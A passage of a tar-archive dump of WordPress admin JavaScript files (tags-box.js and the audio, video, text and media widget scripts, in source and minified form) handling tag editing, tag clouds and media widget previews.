a=u(i.getTextArea());i.on("blur",function(){a.data("next-tab-blurs",!1)}),i.on("keydown",function(t,e){"Escape"===e.key?a.data("next-tab-blurs",!0):"Tab"===e.key&&a.data("next-tab-blurs")&&(e.shiftKey&&r.onTabPrevious?r.onTabPrevious(i,e):!e.shiftKey&&r.onTabNext&&r.onTabNext(i,e),a.data("next-tab-blurs",!1),e.preventDefault())})}return e}}(jQuery,window.wp); tags-box.js 0000644 00000025604 15222552267 0006645 0 ustar 00 /** * @output wp-admin/js/tags-box.js */ /* jshint curly: false, eqeqeq: false */ /* global ajaxurl, tagBox, array_unique_noempty */ ( function( $ ) { var tagDelimiter = wp.i18n._x( ',', 'tag delimiter' ) || ','; /** * Filters unique items and returns a new array. * * Filters all items from an array into a new array containing only the unique * items. This also excludes whitespace or empty values. * * @since 2.8.0 * * @global * * @param {Array} array The array to filter through. * * @return {Array} A new array containing only the unique items. */ window.array_unique_noempty = function( array ) { var out = []; // Trim the values and ensure they are unique. $.each( array, function( key, val ) { val = val || ''; val = val.trim(); if ( val && $.inArray( val, out ) === -1 ) { out.push( val ); } } ); return out; }; /** * The TagBox object. * * Contains functions to create and manage tags that can be associated with a * post. * * @since 2.9.0 * * @global */ window.tagBox = { /** * Cleans up tags by removing redundant characters. * * @since 2.9.0 * * @memberOf tagBox * * @param {string} tags Comma separated tags that need to be cleaned up. * * @return {string} The cleaned up tags. */ clean : function( tags ) { if ( ',' !== tagDelimiter ) { tags = tags.replace( new RegExp( tagDelimiter, 'g' ), ',' ); } tags = tags.replace(/\s*,\s*/g, ',').replace(/,+/g, ',').replace(/[,\s]+$/, '').replace(/^[,\s]+/, ''); if ( ',' !== tagDelimiter ) { tags = tags.replace( /,/g, tagDelimiter ); } return tags; }, /** * Parses tags and makes them editable. * * @since 2.9.0 * * @memberOf tagBox * * @param {Object} el The tag element to retrieve the ID from. * * @return {boolean} Always returns false. */ parseTags : function(el) { var id = el.id, num = id.split('-check-num-')[1], taxbox = $(el).closest('.tagsdiv'), thetags = taxbox.find('.the-tags'), current_tags = thetags.val().split( tagDelimiter ), new_tags = []; delete current_tags[num]; // Sanitize the current tags and push them as if they're new tags. $.each( current_tags, function( key, val ) { val = val || ''; val = val.trim(); if ( val ) { new_tags.push( val ); } }); thetags.val( this.clean( new_tags.join( tagDelimiter ) ) ); this.quickClicks( taxbox ); return false; }, /** * Creates clickable links, buttons and fields for adding or editing tags. * * @since 2.9.0 * * @memberOf tagBox * * @param {Object} el The container HTML element. * * @return {void} */ quickClicks : function( el ) { var thetags = $('.the-tags', el), tagchecklist = $('.tagchecklist', el), id = $(el).attr('id'), current_tags, disabled; if ( ! thetags.length ) return; disabled = thetags.prop('disabled'); current_tags = thetags.val().split( tagDelimiter ); tagchecklist.empty(); /** * Creates a delete button if tag editing is enabled, before adding it to the tag list. * * @since 2.5.0 * * @memberOf tagBox * * @param {string} key The index of the current tag. * @param {string} val The value of the current tag. * * @return {void} */ $.each( current_tags, function( key, val ) { var listItem, xbutton; val = val || ''; val = val.trim(); if ( ! val ) return; // Create a new list item, and ensure the text is properly escaped. listItem = $( '<li />' ).text( val ); // If tags editing isn't disabled, create the X button. if ( ! disabled ) { /* * Build the X buttons, hide the X icon with aria-hidden and * use visually hidden text for screen readers. */ xbutton = $( '<button type="button" id="' + id + '-check-num-' + key + '" class="ntdelbutton">' + '<span class="remove-tag-icon" aria-hidden="true"></span>' + '<span class="screen-reader-text">' + wp.i18n.__( 'Remove term:' ) + ' ' + listItem.html() + '</span>' + '</button>' ); /** * Handles the click and keypress event of the tag remove button. * * Makes sure the focus ends up in the tag input field when using * the keyboard to delete the tag. * * @since 4.2.0 * * @param {Event} e The click or keypress event to handle. * * @return {void} */ xbutton.on( 'click keypress', function( e ) { // On click or when using the Enter/Spacebar keys. if ( 'click' === e.type || 13 === e.keyCode || 32 === e.keyCode ) { /* * When using the keyboard, move focus back to the * add new tag field. Note: when releasing the pressed * key this will fire the `keyup` event on the input. */ if ( 13 === e.keyCode || 32 === e.keyCode ) { $( this ).closest( '.tagsdiv' ).find( 'input.newtag' ).trigger( 'focus' ); } tagBox.userAction = 'remove'; tagBox.parseTags( this ); } }); listItem.prepend( ' ' ).prepend( xbutton ); } // Append the list item to the tag list. tagchecklist.append( listItem ); }); // The buttons list is built now, give feedback to screen reader users. tagBox.screenReadersMessage(); }, /** * Adds a new tag. * * Also ensures that the quick links are properly generated. * * @since 2.9.0 * * @memberOf tagBox * * @param {Object} el The container HTML element. * @param {Object|boolean} a When this is an HTML element the text of that * element will be used for the new tag. * @param {number|boolean} f If this value is not passed then the tag input * field is focused. * * @return {boolean} Always returns false. */ flushTags : function( el, a, f ) { var tagsval, newtags, text, tags = $( '.the-tags', el ), newtag = $( 'input.newtag', el ); a = a || false; text = a ? $(a).text() : newtag.val(); /* * Return if there's no new tag or if the input field is empty. * Note: when using the keyboard to add tags, focus is moved back to * the input field and the `keyup` event attached on this field will * fire when releasing the pressed key. Checking also for the field * emptiness avoids to set the tags and call quickClicks() again. */ if ( 'undefined' == typeof( text ) || '' === text ) { return false; } tagsval = tags.val(); newtags = tagsval ? tagsval + tagDelimiter + text : text; newtags = this.clean( newtags ); newtags = array_unique_noempty( newtags.split( tagDelimiter ) ).join( tagDelimiter ); tags.val( newtags ); this.quickClicks( el ); if ( ! a ) newtag.val(''); if ( 'undefined' == typeof( f ) ) newtag.trigger( 'focus' ); return false; }, /** * Retrieves the available tags and creates a tagcloud. * * Retrieves the available tags from the database and creates an interactive * tagcloud. Clicking a tag will add it. * * @since 2.9.0 * * @memberOf tagBox * * @param {string} id The ID to extract the taxonomy from. * * @return {void} */ get : function( id ) { var tax = id.substr( id.indexOf('-') + 1 ); /** * Puts a received tag cloud into a DOM element. * * The tag cloud HTML is generated on the server. * * @since 2.9.0 * * @param {number|string} r The response message from the Ajax call. * @param {string} stat The status of the Ajax request. * * @return {void} */ $.post( ajaxurl, { 'action': 'get-tagcloud', 'tax': tax }, function( r, stat ) { if ( 0 === r || 'success' != stat ) { return; } r = $( '<div id="tagcloud-' + tax + '" class="the-tagcloud">' + r + '</div>' ); /** * Adds a new tag when a tag in the tagcloud is clicked. * * @since 2.9.0 * * @return {boolean} Returns false to prevent the default action. */ $( 'a', r ).on( 'click', function() { tagBox.userAction = 'add'; tagBox.flushTags( $( '#' + tax ), this ); return false; }); $( '#' + id ).after( r ); }); }, /** * Track the user's last action. * * @since 4.7.0 */ userAction: '', /** * Dispatches an audible message to screen readers. * * This will inform the user when a tag has been added or removed. * * @since 4.7.0 * * @return {void} */ screenReadersMessage: function() { var message; switch ( this.userAction ) { case 'remove': message = wp.i18n.__( 'Term removed.' ); break; case 'add': message = wp.i18n.__( 'Term added.' ); break; default: return; } window.wp.a11y.speak( message, 'assertive' ); }, /** * Initializes the tags box by setting up the links, buttons. Sets up event * handling. * * This includes handling of pressing the enter key in the input field and the * retrieval of tag suggestions. * * @since 2.9.0 * * @memberOf tagBox * * @return {void} */ init : function() { var ajaxtag = $('div.ajaxtag'); $('.tagsdiv').each( function() { tagBox.quickClicks( this ); }); $( '.tagadd', ajaxtag ).on( 'click', function() { tagBox.userAction = 'add'; tagBox.flushTags( $( this ).closest( '.tagsdiv' ) ); }); /** * Handles pressing enter on the new tag input field. * * Prevents submitting the post edit form. Uses `keypress` to take * into account Input Method Editor (IME) converters. * * @since 2.9.0 * * @param {Event} event The keypress event that occurred. * * @return {void} */ $( 'input.newtag', ajaxtag ).on( 'keypress', function( event ) { if ( 13 == event.which ) { tagBox.userAction = 'add'; tagBox.flushTags( $( this ).closest( '.tagsdiv' ) ); event.preventDefault(); event.stopPropagation(); } }).each( function( i, element ) { $( element ).wpTagsSuggest(); }); /** * Before a post is saved the value currently in the new tag input field will be * added as a tag. * * @since 2.9.0 * * @return {void} */ $('#post').on( 'submit', function(){ $('div.tagsdiv').each( function() { tagBox.flushTags(this, false, 1); }); }); /** * Handles clicking on the tag cloud link. * * Makes sure the ARIA attributes are set correctly. * * @since 2.9.0 * * @return {void} */ $('.tagcloud-link').on( 'click', function(){ // On the first click, fetch the tag cloud and insert it in the DOM. tagBox.get( $( this ).attr( 'id' ) ); // Update button state, remove previous click event and attach a new one to toggle the cloud. $( this ) .attr( 'aria-expanded', 'true' ) .off() .on( 'click', function() { $( this ) .attr( 'aria-expanded', 'false' === $( this ).attr( 'aria-expanded' ) ? 'true' : 'false' ) .siblings( '.the-tagcloud' ).toggle(); }); }); } }; }( jQuery )); widgets/media-audio-widget.js 0000644 00000010274 15222552267 0012223 0 ustar 00 /** * @output wp-admin/js/widgets/media-audio-widget.js */ /* eslint consistent-this: [ "error", "control" ] */ (function( component ) { 'use strict'; var AudioWidgetModel, AudioWidgetControl, AudioDetailsMediaFrame; /** * Custom audio details frame that removes the replace-audio state. * * @class wp.mediaWidgets.controlConstructors~AudioDetailsMediaFrame * @augments wp.media.view.MediaFrame.AudioDetails */ AudioDetailsMediaFrame = wp.media.view.MediaFrame.AudioDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~AudioDetailsMediaFrame.prototype */{ /** * Create the default states. * * @return {void} */ createStates: function createStates() { this.states.add([ new wp.media.controller.AudioDetails({ media: this.media }), new wp.media.controller.MediaLibrary({ type: 'audio', id: 'add-audio-source', title: wp.media.view.l10n.audioAddSourceTitle, toolbar: 'add-audio-source', media: this.media, menu: false }) ]); } }); /** * Audio widget model. * * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.modelConstructors.media_audio * @augments wp.mediaWidgets.MediaWidgetModel */ AudioWidgetModel = component.MediaWidgetModel.extend({}); /** * Audio widget control. * * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.controlConstructors.media_audio * @augments wp.mediaWidgets.MediaWidgetControl */ AudioWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_audio.prototype */{ /** * Show display settings. * * @type {boolean} */ showDisplaySettings: false, /** * Map model props to media frame props. * * @param {Object} modelProps - Model props. * @return {Object} Media frame props. */ mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) { var control = this, mediaFrameProps; mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps ); mediaFrameProps.link = 'embed'; return mediaFrameProps; }, /** * Render preview. * * @return {void} */ renderPreview: function renderPreview() { var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl; attachmentId = control.model.get( 'attachment_id' ); attachmentUrl = control.model.get( 'url' ); if ( ! attachmentId && ! attachmentUrl ) { return; } previewContainer = control.$el.find( '.media-widget-preview' ); previewTemplate = wp.template( 'wp-media-widget-audio-preview' ); previewContainer.html( previewTemplate({ model: { attachment_id: control.model.get( 'attachment_id' ), src: attachmentUrl }, error: control.model.get( 'error' ) })); wp.mediaelement.initialize(); }, /** * Open the media audio-edit frame to modify the selected item. * * @return {void} */ editMedia: function editMedia() { var control = this, mediaFrame, metadata, updateCallback; metadata = control.mapModelToMediaFrameProps( control.model.toJSON() ); // Set up the media frame. mediaFrame = new AudioDetailsMediaFrame({ frame: 'audio', state: 'audio-details', metadata: metadata }); wp.media.frame = mediaFrame; mediaFrame.$el.addClass( 'media-widget' ); updateCallback = function( mediaFrameProps ) { // Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview. control.selectedAttachment.set( mediaFrameProps ); control.model.set( _.extend( control.model.defaults(), control.mapMediaToModelProps( mediaFrameProps ), { error: false } ) ); }; mediaFrame.state( 'audio-details' ).on( 'update', updateCallback ); mediaFrame.state( 'replace-audio' ).on( 'replace', updateCallback ); mediaFrame.on( 'close', function() { mediaFrame.detach(); }); mediaFrame.open(); } }); // Exports. component.controlConstructors.media_audio = AudioWidgetControl; component.modelConstructors.media_audio = AudioWidgetModel; })( wp.mediaWidgets ); widgets/text-widgets.min.js 0000644 00000013335 15222552267 0011777 0 ustar 00 /*! This file is auto-generated */ wp.textWidgets=function(r){"use strict";var u={dismissedPointers:[],idBases:["text"]};return u.TextWidgetControl=Backbone.View.extend({events:{},initialize:function(e){var n=this;if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");Backbone.View.prototype.initialize.call(n,e),n.syncContainer=e.syncContainer,n.$el.addClass("text-widget-fields"),n.$el.html(wp.template("widget-text-control-fields")),n.customHtmlWidgetPointer=n.$el.find(".wp-pointer.custom-html-widget-pointer"),n.customHtmlWidgetPointer.length&&(n.customHtmlWidgetPointer.find(".close").on("click",function(e){e.preventDefault(),n.customHtmlWidgetPointer.hide(),r("#"+n.fields.text.attr("id")+"-html").trigger("focus"),n.dismissPointers(["text_widget_custom_html"])}),n.customHtmlWidgetPointer.find(".add-widget").on("click",function(e){e.preventDefault(),n.customHtmlWidgetPointer.hide(),n.openAvailableWidgetsPanel()})),n.pasteHtmlPointer=n.$el.find(".wp-pointer.paste-html-pointer"),n.pasteHtmlPointer.length&&n.pasteHtmlPointer.find(".close").on("click",function(e){e.preventDefault(),n.pasteHtmlPointer.hide(),n.editor.focus(),n.dismissPointers(["text_widget_custom_html","text_widget_paste_html"])}),n.fields={title:n.$el.find(".title"),text:n.$el.find(".text")},_.each(n.fields,function(t,i){t.on("input change",function(){var e=n.syncContainer.find(".sync-input."+i);e.val()!==t.val()&&(e.val(t.val()),e.trigger("change"))}),t.val(n.syncContainer.find(".sync-input."+i).val())})},dismissPointers:function(e){_.each(e,function(e){wp.ajax.post("dismiss-wp-pointer",{pointer:e}),u.dismissedPointers.push(e)})},openAvailableWidgetsPanel:function(){var t;wp.customize.section.each(function(e){e.extended(wp.customize.Widgets.SidebarSection)&&e.expanded()&&(t=wp.customize.control("sidebars_widgets["+e.params.sidebarId+"]"))}),t&&setTimeout(function(){wp.customize.Widgets.availableWidgetsPanel.open(t),wp.customize.Widgets.availableWidgetsPanel.$search.val("HTML").trigger("keyup")})},updateFields:function(){var e,t=this;t.fields.title.is(document.activeElement)||(e=t.syncContainer.find(".sync-input.title"),t.fields.title.val(e.val())),e=t.syncContainer.find(".sync-input.text"),t.fields.text.is(":visible")?t.fields.text.is(document.activeElement)||t.fields.text.val(e.val()):t.editor&&!t.editorFocused&&e.val()!==t.fields.text.val()&&t.editor.setContent(wp.oldEditor.autop(e.val()))},initializeEditor:function(){var d,e,o,t,s=this,a=1e3,l=!1,c=!1;e=s.fields.text,d=e.attr("id"),t=e.val(),o=function(){s.editor.isDirty()&&(wp.customize&&wp.customize.state&&(wp.customize.state("processing").set(wp.customize.state("processing").get()+1),_.delay(function(){wp.customize.state("processing").set(wp.customize.state("processing").get()-1)},300)),s.editor.isHidden()||s.editor.save()),c&&t!==e.val()&&(e.trigger("change"),c=!1,t=e.val())},s.syncContainer.closest(".widget").find("[name=savewidget]:first").on("click",function(){o()}),function e(){var t,i,n;if(document.getElementById(d))if(void 0===window.tinymce)wp.oldEditor.initialize(d,{quicktags:!0,mediaButtons:!0});else{if(tinymce.get(d)&&(l=tinymce.get(d).isHidden(),wp.oldEditor.remove(d)),r(document).one("wp-before-tinymce-init.text-widget-init",function(e,t){t.plugins&&!/\bwpview\b/.test(t.plugins)&&(t.plugins+=",wpview")}),wp.oldEditor.initialize(d,{tinymce:{wpautop:!0},quicktags:!0,mediaButtons:!0}),n=function(e){e.show(),e.find(".close").trigger("focus"),wp.a11y.speak(e.find("h3, p").map(function(){return r(this).text()}).get().join("\n\n"))},!(t=window.tinymce.get(d)))throw new Error("Failed to initialize editor");i=function(){r(t.getWin()).on("pagehide",function(){_.defer(e)}),l&&switchEditors.go(d,"html"),r("#"+d+"-html").on("click",function(){s.pasteHtmlPointer.hide(),-1===u.dismissedPointers.indexOf("text_widget_custom_html")&&n(s.customHtmlWidgetPointer)}),r("#"+d+"-tmce").on("click",function(){s.customHtmlWidgetPointer.hide()}),t.on("pastepreprocess",function(e){e=e.content,-1===u.dismissedPointers.indexOf("text_widget_paste_html")&&e&&/<\w+.*?>/.test(e)&&_.delay(function(){n(s.pasteHtmlPointer)},250)})},t.initialized?i():t.on("init",i),s.editorFocused=!1,t.on("focus",function(){s.editorFocused=!0}),t.on("paste",function(){t.setDirty(!0),o()}),t.on("NodeChange",function(){c=!0}),t.on("NodeChange",_.debounce(o,a)),t.on("blur hide",function(){s.editorFocused=!1,o()}),s.editor=t}}()}}),u.widgetControls={},u.handleWidgetAdded=function(e,t){var i,n,d,o=t.find("> .widget-inside > .form, > .widget-inside > form"),s=o.find("> .id_base").val();-1===u.idBases.indexOf(s)||(s=o.find(".widget-id").val(),u.widgetControls[s])||o.find(".visual").val()&&(o=r("<div></div>"),(d=t.find(".widget-content:first")).before(o),i=new u.TextWidgetControl({el:o,syncContainer:d}),u.widgetControls[s]=i,(n=function(){t.hasClass("open")?i.initializeEditor():setTimeout(n,50)})())},u.setupAccessibleMode=function(){var e,t=r(".editwidget > form");0!==t.length&&(e=t.find(".id_base").val(),-1!==u.idBases.indexOf(e))&&t.find(".visual").val()&&(e=r("<div></div>"),(t=t.find("> .widget-inside")).before(e),new u.TextWidgetControl({el:e,syncContainer:t}).initializeEditor())},u.handleWidgetUpdated=function(e,t){var t=t.find("> .widget-inside > .form, > .widget-inside > form"),i=t.find("> .id_base").val();-1!==u.idBases.indexOf(i)&&(i=t.find("> .widget-id").val(),t=u.widgetControls[i])&&t.updateFields()},u.init=function(){var e=r(document);e.on("widget-added",u.handleWidgetAdded),e.on("widget-synced widget-updated",u.handleWidgetUpdated),r(function(){"widgets"===window.pagenow&&(r(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=r(this);u.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),u.setupAccessibleMode())})},u}(jQuery); widgets/media-video-widget.min.js 0000644 00000005216 15222552267 0013012 0 ustar 00 /*! This file is auto-generated */ !function(t){"use strict";var i=wp.media.view.MediaFrame.VideoDetails.extend({createStates:function(){this.states.add([new wp.media.controller.VideoDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"video",id:"add-video-source",title:wp.media.view.l10n.videoAddSourceTitle,toolbar:"add-video-source",media:this.media,menu:!1}),new wp.media.controller.MediaLibrary({type:"text",id:"add-track",title:wp.media.view.l10n.videoAddTrackTitle,toolbar:"add-track",media:this.media,menu:"video-details"})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,oembedResponses:{},mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},fetchEmbed:function(){var t=this,d=t.model.get("url");t.oembedResponses[d]||(t.fetchEmbedDfd&&"pending"===t.fetchEmbedDfd.state()&&t.fetchEmbedDfd.abort(),t.fetchEmbedDfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:t.model.get("url"),maxwidth:t.model.get("width"),maxheight:t.model.get("height"),discover:!1},type:"GET",dataType:"json",context:t}),t.fetchEmbedDfd.done(function(e){t.oembedResponses[d]=e,t.renderPreview()}),t.fetchEmbedDfd.fail(function(){t.oembedResponses[d]=null}))},isHostedVideo:function(){return!0},renderPreview:function(){var e,t,d=this,i="",o=!1,a=d.model.get("attachment_id"),s=d.model.get("url"),m=d.model.get("error");(a||s)&&((t=d.selectedAttachment.get("mime"))&&a?_.contains(_.values(wp.media.view.settings.embedMimes),t)||(m="unsupported_file_type"):a||((t=document.createElement("a")).href=s,(t=t.pathname.toLowerCase().match(/\.(\w+)$/))?_.contains(_.keys(wp.media.view.settings.embedMimes),t[1])||(m="unsupported_file_type"):o=!0),o&&(d.fetchEmbed(),d.oembedResponses[s])&&(e=d.oembedResponses[s].thumbnail_url,i=d.oembedResponses[s].html.replace(/\swidth="\d+"/,' width="100%"').replace(/\sheight="\d+"/,"")),t=d.$el.find(".media-widget-preview"),d=wp.template("wp-media-widget-video-preview"),t.html(d({model:{attachment_id:a,html:i,src:s,poster:e},is_oembed:o,error:m})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new i({frame:"video",state:"video-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(_.omit(t.model.defaults(),"title"),t.mapMediaToModelProps(e),{error:!1}))},d.state("video-details").on("update",e),d.state("replace-video").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_video=d,t.modelConstructors.media_video=e}(wp.mediaWidgets); widgets/media-audio-widget.min.js 0000644 00000002647 15222552267 0013012 0 ustar 00 /*! This file is auto-generated */ !function(t){"use strict";var a=wp.media.view.MediaFrame.AudioDetails.extend({createStates:function(){this.states.add([new wp.media.controller.AudioDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"audio",id:"add-audio-source",title:wp.media.view.l10n.audioAddSourceTitle,toolbar:"add-audio-source",media:this.media,menu:!1})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},renderPreview:function(){var e,t=this,d=t.model.get("attachment_id"),a=t.model.get("url");(d||a)&&(d=t.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-audio-preview"),d.html(e({model:{attachment_id:t.model.get("attachment_id"),src:a},error:t.model.get("error")})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new a({frame:"audio",state:"audio-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(t.model.defaults(),t.mapMediaToModelProps(e),{error:!1}))},d.state("audio-details").on("update",e),d.state("replace-audio").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_audio=d,t.modelConstructors.media_audio=e}(wp.mediaWidgets); widgets/media-video-widget.js 0000644 00000015554 15222552267 0012236 0 ustar 00 /** * @output wp-admin/js/widgets/media-video-widget.js */ /* eslint consistent-this: [ "error", "control" ] */ (function( component ) { 'use strict'; var VideoWidgetModel, VideoWidgetControl, VideoDetailsMediaFrame; /** * Custom video details frame that removes the replace-video state. * * @class wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame * @augments wp.media.view.MediaFrame.VideoDetails * * @private */ VideoDetailsMediaFrame = wp.media.view.MediaFrame.VideoDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame.prototype */{ /** * Create the default states. * * @return {void} */ createStates: function createStates() { this.states.add([ new wp.media.controller.VideoDetails({ media: this.media }), new wp.media.controller.MediaLibrary({ type: 'video', id: 'add-video-source', title: wp.media.view.l10n.videoAddSourceTitle, toolbar: 'add-video-source', media: this.media, menu: false }), new wp.media.controller.MediaLibrary({ type: 'text', id: 'add-track', title: wp.media.view.l10n.videoAddTrackTitle, toolbar: 'add-track', media: this.media, menu: 'video-details' }) ]); } }); /** * Video widget model. * * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.modelConstructors.media_video * @augments wp.mediaWidgets.MediaWidgetModel */ VideoWidgetModel = component.MediaWidgetModel.extend({}); /** * Video widget control. * * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.controlConstructors.media_video * @augments wp.mediaWidgets.MediaWidgetControl */ VideoWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_video.prototype */{ /** * Show display settings. * * @type {boolean} */ showDisplaySettings: false, /** * Cache of oembed responses. * * @type {Object} */ oembedResponses: {}, /** * Map model props to media frame props. * * @param {Object} modelProps - Model props. * @return {Object} Media frame props. */ mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) { var control = this, mediaFrameProps; mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps ); mediaFrameProps.link = 'embed'; return mediaFrameProps; }, /** * Fetches embed data for external videos. * * @return {void} */ fetchEmbed: function fetchEmbed() { var control = this, url; url = control.model.get( 'url' ); // If we already have a local cache of the embed response, return. if ( control.oembedResponses[ url ] ) { return; } // If there is an in-flight embed request, abort it. if ( control.fetchEmbedDfd && 'pending' === control.fetchEmbedDfd.state() ) { control.fetchEmbedDfd.abort(); } control.fetchEmbedDfd = wp.apiRequest({ url: wp.media.view.settings.oEmbedProxyUrl, data: { url: control.model.get( 'url' ), maxwidth: control.model.get( 'width' ), maxheight: control.model.get( 'height' ), discover: false }, type: 'GET', dataType: 'json', context: control }); control.fetchEmbedDfd.done( function( response ) { control.oembedResponses[ url ] = response; control.renderPreview(); }); control.fetchEmbedDfd.fail( function() { control.oembedResponses[ url ] = null; }); }, /** * Whether a url is a supported external host. * * @deprecated since 4.9. * * @return {boolean} Whether url is a supported video host. */ isHostedVideo: function isHostedVideo() { return true; }, /** * Render preview. * * @return {void} */ renderPreview: function renderPreview() { var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl, poster, html = '', isOEmbed = false, mime, error, urlParser, matches; attachmentId = control.model.get( 'attachment_id' ); attachmentUrl = control.model.get( 'url' ); error = control.model.get( 'error' ); if ( ! attachmentId && ! attachmentUrl ) { return; } // Verify the selected attachment mime is supported. mime = control.selectedAttachment.get( 'mime' ); if ( mime && attachmentId ) { if ( ! _.contains( _.values( wp.media.view.settings.embedMimes ), mime ) ) { error = 'unsupported_file_type'; } } else if ( ! attachmentId ) { urlParser = document.createElement( 'a' ); urlParser.href = attachmentUrl; matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ ); if ( matches ) { if ( ! _.contains( _.keys( wp.media.view.settings.embedMimes ), matches[1] ) ) { error = 'unsupported_file_type'; } } else { isOEmbed = true; } } if ( isOEmbed ) { control.fetchEmbed(); if ( control.oembedResponses[ attachmentUrl ] ) { poster = control.oembedResponses[ attachmentUrl ].thumbnail_url; html = control.oembedResponses[ attachmentUrl ].html.replace( /\swidth="\d+"/, ' width="100%"' ).replace( /\sheight="\d+"/, '' ); } } previewContainer = control.$el.find( '.media-widget-preview' ); previewTemplate = wp.template( 'wp-media-widget-video-preview' ); previewContainer.html( previewTemplate({ model: { attachment_id: attachmentId, html: html, src: attachmentUrl, poster: poster }, is_oembed: isOEmbed, error: error })); wp.mediaelement.initialize(); }, /** * Open the media image-edit frame to modify the selected item. * * @return {void} */ editMedia: function editMedia() { var control = this, mediaFrame, metadata, updateCallback; metadata = control.mapModelToMediaFrameProps( control.model.toJSON() ); // Set up the media frame. mediaFrame = new VideoDetailsMediaFrame({ frame: 'video', state: 'video-details', metadata: metadata }); wp.media.frame = mediaFrame; mediaFrame.$el.addClass( 'media-widget' ); updateCallback = function( mediaFrameProps ) { // Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview. control.selectedAttachment.set( mediaFrameProps ); control.model.set( _.extend( _.omit( control.model.defaults(), 'title' ), control.mapMediaToModelProps( mediaFrameProps ), { error: false } ) ); }; mediaFrame.state( 'video-details' ).on( 'update', updateCallback ); mediaFrame.state( 'replace-video' ).on( 'replace', updateCallback ); mediaFrame.on( 'close', function() { mediaFrame.detach(); }); mediaFrame.open(); } }); // Exports. component.controlConstructors.media_video = VideoWidgetControl; component.modelConstructors.media_video = VideoWidgetModel; })( wp.mediaWidgets ); widgets/media-widgets.js 0000644 00000123560 15222552267 0011312 0 ustar 00 /** * @output wp-admin/js/widgets/media-widgets.js */ /* eslint consistent-this: [ "error", "control" ] */ /** * @namespace wp.mediaWidgets * @memberOf wp */ wp.mediaWidgets = ( function( $ ) { 'use strict'; var component = {}; /** * Widget control (view) constructors, mapping widget id_base to subclass of MediaWidgetControl. * * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base. * * @memberOf wp.mediaWidgets * * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>} */ component.controlConstructors = {}; /** * Widget model constructors, mapping widget id_base to subclass of MediaWidgetModel. * * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base. * * @memberOf wp.mediaWidgets * * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>} */ component.modelConstructors = {}; component.PersistentDisplaySettingsLibrary = wp.media.controller.Library.extend(/** @lends wp.mediaWidgets.PersistentDisplaySettingsLibrary.prototype */{ /** * Library which persists the customized display settings across selections. * * @constructs wp.mediaWidgets.PersistentDisplaySettingsLibrary * @augments wp.media.controller.Library * * @param {Object} options - Options. * * @return {void} */ initialize: function initialize( options ) { _.bindAll( this, 'handleDisplaySettingChange' ); wp.media.controller.Library.prototype.initialize.call( this, options ); }, /** * Sync changes to the current display settings back into the current customized. * * @param {Backbone.Model} displaySettings - Modified display settings. * @return {void} */ handleDisplaySettingChange: function handleDisplaySettingChange( displaySettings ) { this.get( 'selectedDisplaySettings' ).set( displaySettings.attributes ); }, /** * Get the display settings model. * * Model returned is updated with the current customized display settings, * and an event listener is added so that changes made to the settings * will sync back into the model storing the session's customized display * settings. * * @param {Backbone.Model} model - Display settings model. * @return {Backbone.Model} Display settings model. */ display: function getDisplaySettingsModel( model ) { var display, selectedDisplaySettings = this.get( 'selectedDisplaySettings' ); display = wp.media.controller.Library.prototype.display.call( this, model ); display.off( 'change', this.handleDisplaySettingChange ); // Prevent duplicated event handlers. display.set( selectedDisplaySettings.attributes ); if ( 'custom' === selectedDisplaySettings.get( 'link_type' ) ) { display.linkUrl = selectedDisplaySettings.get( 'link_url' ); } display.on( 'change', this.handleDisplaySettingChange ); return display; } }); /** * Extended view for managing the embed UI. * * @class wp.mediaWidgets.MediaEmbedView * @augments wp.media.view.Embed */ component.MediaEmbedView = 